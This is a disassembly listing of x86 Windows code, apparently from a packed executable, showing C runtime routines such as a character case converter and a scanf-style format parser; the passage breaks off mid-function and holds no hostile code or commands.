loc_41ABE0: ; CODE XREF: sub_41AB9C+3Bj
and [ebp+var_4], 0
loc_41ABE4: ; CODE XREF: sub_41AB9C+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41ABED: ; DATA XREF: .nsp0:00421848o
jmp loc_41DFB6
sub_41AB9C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ABF2 proc near ; CODE XREF: sub_4162EB+23p
; sub_4162EB:loc_416356p ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421858
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_4380D4
test eax, eax
jz short loc_41AC3A
mov [ebp+var_4], 1
call eax ; sub_41AB9C
jmp short loc_41AC36
; ---------------------------------------------------------------------------
loc_41AC2F: ; DATA XREF: .nsp0:00421868o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41AC33: ; DATA XREF: .nsp0:0042186Co
mov esp, [ebp+var_18]
loc_41AC36: ; CODE XREF: sub_41ABF2+3Bj
and [ebp+var_4], 0
loc_41AC3A: ; CODE XREF: sub_41ABF2+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41AC43: ; DATA XREF: .nsp0:00421860o
jmp sub_41AB9C
sub_41ABF2 endp
; =============== S U B R O U T I N E =======================================
sub_41AC48 proc near ; CODE XREF: sub_4167D3+7p
; sub_4167D3+26p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_418AFD
test eax, eax
pop ecx
jz short loc_41AC60
mov eax, [esi-4]
pop esi
sub eax, 9
retn
; ---------------------------------------------------------------------------
loc_41AC60: ; CODE XREF: sub_41AC48+Ej
push esi
push 0
push dword_46AB00
call dword_421188 ; RtlSizeHeap
pop esi
retn
sub_41AC48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AC71 proc near ; CODE XREF: sub_416881+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_469528, 0
push ebx
jnz short loc_41AC9C
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_41AD3A
cmp eax, 7Ah
jg loc_41AD3A
sub eax, 20h
jmp loc_41AD3A
; ---------------------------------------------------------------------------
loc_41AC9C: ; CODE XREF: sub_41AC71+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_41ACCF
cmp dword_437F7C, 1
jle short loc_41ACBC
push 2
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_41ACC7
; ---------------------------------------------------------------------------
loc_41ACBC: ; CODE XREF: sub_41AC71+3Dj
mov eax, off_437D70
mov al, [eax+ebx*2]
and eax, 2
loc_41ACC7: ; CODE XREF: sub_41AC71+49j
test eax, eax
jnz short loc_41ACCF
loc_41ACCB: ; CODE XREF: sub_41AC71+AFj
mov eax, ebx
jmp short loc_41AD3A
; ---------------------------------------------------------------------------
loc_41ACCF: ; CODE XREF: sub_41AC71+34j
; sub_41AC71+58j
mov edx, off_437D70
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41ACF2
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_41ACFB
; ---------------------------------------------------------------------------
loc_41ACF2: ; CODE XREF: sub_41AC71+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_41ACFB: ; CODE XREF: sub_41AC71+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_469528
call sub_41BD71
add esp, 20h
test eax, eax
jz short loc_41ACCB
cmp eax, 1
jnz short loc_41AD2D
movzx eax, [ebp+var_4]
jmp short loc_41AD3A
; ---------------------------------------------------------------------------
loc_41AD2D: ; CODE XREF: sub_41AC71+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41AD3A: ; CODE XREF: sub_41AC71+14j
; sub_41AC71+1Dj ...
pop ebx
leave
retn
sub_41AC71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AD3D proc near ; CODE XREF: sub_416AA0+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_41B743
mov edi, [ebp+arg_0]
jmp short loc_41AD6C
; ---------------------------------------------------------------------------
loc_41AD67: ; CODE XREF: sub_41AD3D+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_41AD6C: ; CODE XREF: sub_41AD3D+28j
cmp dword_437F7C, 1
jle short loc_41AD84
movzx eax, al
push 8
push eax
call sub_418556
pop ecx
pop ecx
jmp short loc_41AD93
; ---------------------------------------------------------------------------
loc_41AD84: ; CODE XREF: sub_41AD3D+36j
mov ecx, off_437D70
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_41AD93: ; CODE XREF: sub_41AD3D+45j
cmp eax, ebx
jz short loc_41ADCD
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_41B7CA
pop ecx
pop ecx
push eax
call sub_41B7B3
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41E095
add esp, 0Ch
loc_41ADBB: ; CODE XREF: sub_41AD3D+8Ej
test eax, eax
jz short loc_41ADCD
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41E095
pop ecx
jmp short loc_41ADBB
; ---------------------------------------------------------------------------
loc_41ADCD: ; CODE XREF: sub_41AD3D+58j
; sub_41AD3D+80j
cmp byte ptr [esi], 25h
jnz loc_41B6AF
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_41AE04: ; CODE XREF: sub_41AD3D+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_437F7C, 1
jle short loc_41AE21
movzx eax, bl
push 4
push eax
call sub_418556
pop ecx
pop ecx
jmp short loc_41AE30
; ---------------------------------------------------------------------------
loc_41AE21: ; CODE XREF: sub_41AD3D+D3j
mov ecx, off_437D70
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41AE30: ; CODE XREF: sub_41AD3D+E2j
test eax, eax
jz short loc_41AE46
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_41AEAB
; ---------------------------------------------------------------------------
loc_41AE46: ; CODE XREF: sub_41AD3D+F5j
cmp ebx, 4Eh
jg short loc_41AE89
jz short loc_41AEAB
cmp ebx, 2Ah
jz short loc_41AE84
cmp ebx, 46h
jz short loc_41AEAB
cmp ebx, 49h
jz short loc_41AE66
cmp ebx, 4Ch
jnz short loc_41AE98
inc [ebp+var_D]
jmp short loc_41AEAB
; ---------------------------------------------------------------------------
loc_41AE66: ; CODE XREF: sub_41AD3D+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_41AE98
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_41AE98
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_41AEAB
; ---------------------------------------------------------------------------
loc_41AE84: ; CODE XREF: sub_41AD3D+113j
inc [ebp+var_E]
jmp short loc_41AEAB
; ---------------------------------------------------------------------------
loc_41AE89: ; CODE XREF: sub_41AD3D+10Cj
cmp ebx, 68h
jz short loc_41AEA5
cmp ebx, 6Ch
jz short loc_41AE9D
cmp ebx, 77h
jz short loc_41AEA0
loc_41AE98: ; CODE XREF: sub_41AD3D+122j
; sub_41AD3D+12Dj ...
inc [ebp+var_F]
jmp short loc_41AEAB
; ---------------------------------------------------------------------------
loc_41AE9D: ; CODE XREF: sub_41AD3D+154j
inc [ebp+var_D]
loc_41AEA0: ; CODE XREF: sub_41AD3D+159j
inc [ebp+var_5]
jmp short loc_41AEAB
; ---------------------------------------------------------------------------
loc_41AEA5: ; CODE XREF: sub_41AD3D+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_41AEAB: ; CODE XREF: sub_41AD3D+107j
; sub_41AD3D+10Ej ...
cmp [ebp+var_F], 0
jz loc_41AE04
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_41AED0
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_41AED0: ; CODE XREF: sub_41AD3D+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_41AEEE
mov al, [esi]
cmp al, 53h
jz short loc_41AEEA
cmp al, 43h
jz short loc_41AEEA
or [ebp+var_5], 0FFh
jmp short loc_41AEEE
; ---------------------------------------------------------------------------
loc_41AEEA: ; CODE XREF: sub_41AD3D+1A1j
; sub_41AD3D+1A5j
mov [ebp+var_5], 1
loc_41AEEE: ; CODE XREF: sub_41AD3D+19Bj
; sub_41AD3D+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_41AF27
cmp esi, 63h
jz short loc_41AF18
cmp esi, 7Bh
jz short loc_41AF18
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_41B7CA
pop ecx
jmp short loc_41AF23
; ---------------------------------------------------------------------------
loc_41AF18: ; CODE XREF: sub_41AD3D+1C5j
; sub_41AD3D+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B799
loc_41AF23: ; CODE XREF: sub_41AD3D+1D9j
pop ecx
mov [ebp+var_14], eax
loc_41AF27: ; CODE XREF: sub_41AD3D+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_41AF37
cmp [ebp+var_C], eax
jz loc_41B713
loc_41AF37: ; CODE XREF: sub_41AD3D+1EFj
cmp esi, 6Fh
jg loc_41B19E
jz loc_41B450
cmp esi, 63h
jz loc_41B17B
cmp esi, 64h
jz loc_41B450
jle loc_41B1C8
cmp esi, 67h
jle short loc_41AF9B
cmp esi, 69h
jz short loc_41AF83
cmp esi, 6Eh
jnz loc_41B1C8
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_41B67E
jmp loc_41B6A4
; ---------------------------------------------------------------------------
loc_41AF83: ; CODE XREF: sub_41AD3D+229j
push 64h
pop esi
loc_41AF86: ; CODE XREF: sub_41AD3D+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_41B210
mov [ebp+var_17], 1
jmp loc_41B215
; ---------------------------------------------------------------------------
loc_41AF9B: ; CODE XREF: sub_41AD3D+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_41AFB7
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_41AFBC
; ---------------------------------------------------------------------------
loc_41AFB7: ; CODE XREF: sub_41AD3D+26Aj
cmp ebx, 2Bh
jnz short loc_41AFD3
loc_41AFBC: ; CODE XREF: sub_41AD3D+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_41B799
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41AFD6
; ---------------------------------------------------------------------------
loc_41AFD3: ; CODE XREF: sub_41AD3D+27Dj
mov edi, [ebp+arg_0]
loc_41AFD6: ; CODE XREF: sub_41AD3D+294j
cmp [ebp+var_20], 0
jz short loc_41AFE5
cmp [ebp+var_C], 15Dh
jle short loc_41AFEC
loc_41AFE5: ; CODE XREF: sub_41AD3D+29Dj
mov [ebp+var_C], 15Dh
loc_41AFEC: ; CODE XREF: sub_41AD3D+2A6j
; sub_41AD3D+2F2j
cmp dword_437F7C, 1
jle short loc_41B001
push 4
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_41B00C
; ---------------------------------------------------------------------------
loc_41B001: ; CODE XREF: sub_41AD3D+2B6j
mov eax, off_437D70
mov al, [eax+ebx*2]
and eax, 4
loc_41B00C: ; CODE XREF: sub_41AD3D+2C2j
test eax, eax
jz short loc_41B031
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B031
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41B799
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41AFEC
; ---------------------------------------------------------------------------
loc_41B031: ; CODE XREF: sub_41AD3D+2D1j
; sub_41AD3D+2DBj
cmp byte_437F80, bl
jnz short loc_41B09F
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B09F
inc [ebp+var_4]
push edi
call sub_41B799
mov ebx, eax
mov al, byte_437F80
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_41B05A: ; CODE XREF: sub_41AD3D+360j
cmp dword_437F7C, 1
jle short loc_41B06F
push 4
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_41B07A
; ---------------------------------------------------------------------------
loc_41B06F: ; CODE XREF: sub_41AD3D+324j
mov eax, off_437D70
mov al, [eax+ebx*2]
and eax, 4
loc_41B07A: ; CODE XREF: sub_41AD3D+330j
test eax, eax
jz short loc_41B09F
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B09F
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41B799
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41B05A
; ---------------------------------------------------------------------------
loc_41B09F: ; CODE XREF: sub_41AD3D+2FAj
; sub_41AD3D+304j ...
cmp [ebp+var_1C], 0
jz loc_41B137
cmp ebx, 65h
jz short loc_41B0B7
cmp ebx, 45h
jnz loc_41B137
loc_41B0B7: ; CODE XREF: sub_41AD3D+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B137
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_41B799
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_41B0DE
mov [esi], al
inc esi
jmp short loc_41B0E3
; ---------------------------------------------------------------------------
loc_41B0DE: ; CODE XREF: sub_41AD3D+39Aj
cmp ebx, 2Bh
jnz short loc_41B101
loc_41B0E3: ; CODE XREF: sub_41AD3D+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_41B0F2
and [ebp+var_C], eax
jmp short loc_41B101
; ---------------------------------------------------------------------------
loc_41B0F2: ; CODE XREF: sub_41AD3D+3AEj
; sub_41AD3D+3F8j
inc [ebp+var_4]
push edi
call sub_41B799
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41B101: ; CODE XREF: sub_41AD3D+3A4j
; sub_41AD3D+3B3j
cmp dword_437F7C, 1
jle short loc_41B116
push 4
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_41B121
; ---------------------------------------------------------------------------
loc_41B116: ; CODE XREF: sub_41AD3D+3CBj
mov eax, off_437D70
mov al, [eax+ebx*2]
and eax, 4
loc_41B121: ; CODE XREF: sub_41AD3D+3D7j
test eax, eax
jz short loc_41B137
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41B137
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_41B0F2
; ---------------------------------------------------------------------------
loc_41B137: ; CODE XREF: sub_41AD3D+366j
; sub_41AD3D+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_41B7B3
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_41B743
cmp [ebp+var_E], 0
jnz loc_41B6A4
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_4380B0
add esp, 0Ch
jmp loc_41B6A4
; ---------------------------------------------------------------------------
loc_41B17B: ; CODE XREF: sub_41AD3D+20Cj
cmp [ebp+var_20], eax
jnz short loc_41B18A
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_41B18A: ; CODE XREF: sub_41AD3D+441j
cmp [ebp+var_5], 0
jle short loc_41B194
mov [ebp+var_16], 1
loc_41B194: ; CODE XREF: sub_41AD3D+451j
mov edi, offset dword_4380E0
jmp loc_41B2A9
; ---------------------------------------------------------------------------
loc_41B19E: ; CODE XREF: sub_41AD3D+1FDj
mov eax, esi
sub eax, 70h
jz loc_41B44C
sub eax, 3
jz loc_41B29A
dec eax
dec eax
jz loc_41B450
sub eax, 3
jz loc_41AF86
sub eax, 3
jz short loc_41B1EC
loc_41B1C8: ; CODE XREF: sub_41AD3D+21Bj
; sub_41AD3D+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_41B713
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_41B6A4
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_41B6A4
; ---------------------------------------------------------------------------
loc_41B1EC: ; CODE XREF: sub_41AD3D+489j
cmp [ebp+var_5], 0
jle short loc_41B1F6
mov [ebp+var_16], 1
loc_41B1F6: ; CODE XREF: sub_41AD3D+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_41B2AD
mov eax, edi
lea edi, [eax+1]
jmp loc_41B2A9
; ---------------------------------------------------------------------------
loc_41B210: ; CODE XREF: sub_41AD3D+24Fj
cmp ebx, 2Bh
jnz short loc_41B237
loc_41B215: ; CODE XREF: sub_41AD3D+259j
dec [ebp+var_C]
jnz short loc_41B226
cmp [ebp+var_20], 0
jz short loc_41B226
mov [ebp+var_F], 1
jmp short loc_41B237
; ---------------------------------------------------------------------------
loc_41B226: ; CODE XREF: sub_41AD3D+4DBj
; sub_41AD3D+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B799
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41B237: ; CODE XREF: sub_41AD3D+4D6j
; sub_41AD3D+4E7j
cmp ebx, 30h
jnz loc_41B485
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B799
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_41B285
cmp bl, 58h
jz short loc_41B285
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_41B26F
push 6Fh
loc_41B269: ; CODE XREF: sub_41AD3D+55Bj
pop esi
jmp loc_41B485
; ---------------------------------------------------------------------------
loc_41B26F: ; CODE XREF: sub_41AD3D+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41B7B3
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_41B482
; ---------------------------------------------------------------------------
loc_41B285: ; CODE XREF: sub_41AD3D+517j
; sub_41AD3D+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B799
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_41B269
; ---------------------------------------------------------------------------
loc_41B29A: ; CODE XREF: sub_41AD3D+46Fj
cmp [ebp+var_5], 0
jle short loc_41B2A4
mov [ebp+var_16], 1
loc_41B2A4: ; CODE XREF: sub_41AD3D+561j
mov edi, offset dword_4380D8
loc_41B2A9: ; CODE XREF: sub_41AD3D+45Cj
; sub_41AD3D+4CEj
or [ebp+var_18], 0FFh
loc_41B2AD: ; CODE XREF: sub_41AD3D+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_415570
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_41B2D1
cmp byte ptr [edi], 5Dh
jnz short loc_41B2D1
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_41B2D4
; ---------------------------------------------------------------------------
loc_41B2D1: ; CODE XREF: sub_41AD3D+584j
; sub_41AD3D+589j
mov dl, [ebp+var_35]
loc_41B2D4: ; CODE XREF: sub_41AD3D+592j
; sub_41AD3D+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_41B339
inc edi
cmp al, 2Dh
jnz short loc_41B320
test dl, dl
jz short loc_41B320
mov cl, [edi]
cmp cl, 5Dh
jz short loc_41B320
inc edi
cmp dl, cl
jnb short loc_41B2F3
mov al, cl
jmp short loc_41B2F7
; ---------------------------------------------------------------------------
loc_41B2F3: ; CODE XREF: sub_41AD3D+5B0j
mov al, dl
mov dl, cl
loc_41B2F7: ; CODE XREF: sub_41AD3D+5B4j
cmp dl, al
ja short loc_41B31C
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_41B304: ; CODE XREF: sub_41AD3D+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_41B304
loc_41B31C: ; CODE XREF: sub_41AD3D+5BCj
xor dl, dl
jmp short loc_41B2D4
; ---------------------------------------------------------------------------
loc_41B320: ; CODE XREF: sub_41AD3D+5A0j
; sub_41AD3D+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_41B2D4
; ---------------------------------------------------------------------------
loc_41B339: ; CODE XREF: sub_41AD3D+59Bj
cmp byte ptr [edi], 0
jz loc_41B743
cmp [ebp+var_3C], 7Bh
jnz short loc_41B34B
mov [ebp+arg_4], edi
loc_41B34B: ; CODE XREF: sub_41AD3D+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_41B7B3
pop ecx
pop ecx
loc_41B362: ; CODE XREF: sub_41AD3D+6BCj
; sub_41AD3D+6C4j
cmp [ebp+var_20], 0
jz short loc_41B376
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_41B412
loc_41B376: ; CODE XREF: sub_41AD3D+629j
inc [ebp+var_4]
push edi
call sub_41B799
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_41B406
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_41B406
cmp [ebp+var_E], 0
jnz short loc_41B3FE
cmp [ebp+var_16], 0
jz short loc_41B3F3
mov ecx, off_437D70
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41B3D2
inc [ebp+var_4]
push edi
call sub_41B799
pop ecx
mov [ebp+var_37], al
loc_41B3D2: ; CODE XREF: sub_41AD3D+686j
push dword_437F7C
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_41DFCD
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_41B3F6
; ---------------------------------------------------------------------------
loc_41B3F3: ; CODE XREF: sub_41AD3D+673j
mov [esi], al
inc esi
loc_41B3F6: ; CODE XREF: sub_41AD3D+6B4j
mov [ebp+var_2C], esi
jmp loc_41B362
; ---------------------------------------------------------------------------
loc_41B3FE: ; CODE XREF: sub_41AD3D+66Dj
inc [ebp+var_30]
jmp loc_41B362
; ---------------------------------------------------------------------------
loc_41B406: ; CODE XREF: sub_41AD3D+649j
; sub_41AD3D+667j
dec [ebp+var_4]
push edi
push eax
call sub_41B7B3
pop ecx
pop ecx
loc_41B412: ; CODE XREF: sub_41AD3D+633j
cmp [ebp+var_30], esi
jz loc_41B743
cmp [ebp+var_E], 0
jnz loc_41B6A4
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_41B6A4
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_41B444
and word ptr [eax], 0
jmp loc_41B6A4
; ---------------------------------------------------------------------------
loc_41B444: ; CODE XREF: sub_41AD3D+6FCj
and byte ptr [eax], 0
jmp loc_41B6A4
; ---------------------------------------------------------------------------
loc_41B44C: ; CODE XREF: sub_41AD3D+466j
mov [ebp+var_D], 1
loc_41B450: ; CODE XREF: sub_41AD3D+203j
; sub_41AD3D+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_41B45E
mov [ebp+var_17], 1
jmp short loc_41B463
; ---------------------------------------------------------------------------
loc_41B45E: ; CODE XREF: sub_41AD3D+719j
cmp ebx, 2Bh
jnz short loc_41B485
loc_41B463: ; CODE XREF: sub_41AD3D+71Fj
dec [ebp+var_C]
jnz short loc_41B474
cmp [ebp+var_20], 0
jz short loc_41B474
mov [ebp+var_F], 1
jmp short loc_41B485
; ---------------------------------------------------------------------------
loc_41B474: ; CODE XREF: sub_41AD3D+729j
; sub_41AD3D+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B799
pop ecx
mov ebx, eax
loc_41B482: ; CODE XREF: sub_41AD3D+543j
mov [ebp+var_14], ebx
loc_41B485: ; CODE XREF: sub_41AD3D+4FDj
; sub_41AD3D+52Dj ...
cmp [ebp+var_30], 0
jz loc_41B59E
cmp [ebp+var_F], 0
jnz loc_41B57C
loc_41B499: ; CODE XREF: sub_41AD3D+82Cj
cmp esi, 78h
jnz short loc_41B4ED
cmp dword_437F7C, 1
jle short loc_41B4B6
push 80h
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_41B4C3
; ---------------------------------------------------------------------------
loc_41B4B6: ; CODE XREF: sub_41AD3D+768j
mov eax, off_437D70
mov al, [eax+ebx*2]
and eax, 80h
loc_41B4C3: ; CODE XREF: sub_41AD3D+777j
test eax, eax
jz loc_41B56E
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_41E0C0
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_41B762
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41B540
; ---------------------------------------------------------------------------
loc_41B4ED: ; CODE XREF: sub_41AD3D+75Fj
cmp dword_437F7C, 1
jle short loc_41B502
push 4
push ebx
call sub_418556
pop ecx
pop ecx
jmp short loc_41B50D
; ---------------------------------------------------------------------------
loc_41B502: ; CODE XREF: sub_41AD3D+7B7j
mov eax, off_437D70
mov al, [eax+ebx*2]
and eax, 4
loc_41B50D: ; CODE XREF: sub_41AD3D+7C3j
test eax, eax
jz short loc_41B56E
cmp esi, 6Fh
jnz short loc_41B52B
cmp ebx, 38h
jge short loc_41B56E
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_41E0C0
jmp short loc_41B53A
; ---------------------------------------------------------------------------
loc_41B52B: ; CODE XREF: sub_41AD3D+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_4159A0
loc_41B53A: ; CODE XREF: sub_41AD3D+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_41B540: ; CODE XREF: sub_41AD3D+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_41B558
dec [ebp+var_C]
jz short loc_41B57C
loc_41B558: ; CODE XREF: sub_41AD3D+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B799
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41B499
; ---------------------------------------------------------------------------
loc_41B56E: ; CODE XREF: sub_41AD3D+788j
; sub_41AD3D+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41B7B3
pop ecx
pop ecx
loc_41B57C: ; CODE XREF: sub_41AD3D+756j
; sub_41AD3D+819j
cmp [ebp+var_17], 0
jz loc_41B662
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_41B662
; ---------------------------------------------------------------------------
loc_41B59E: ; CODE XREF: sub_41AD3D+74Cj
cmp [ebp+var_F], 0
jnz loc_41B65A
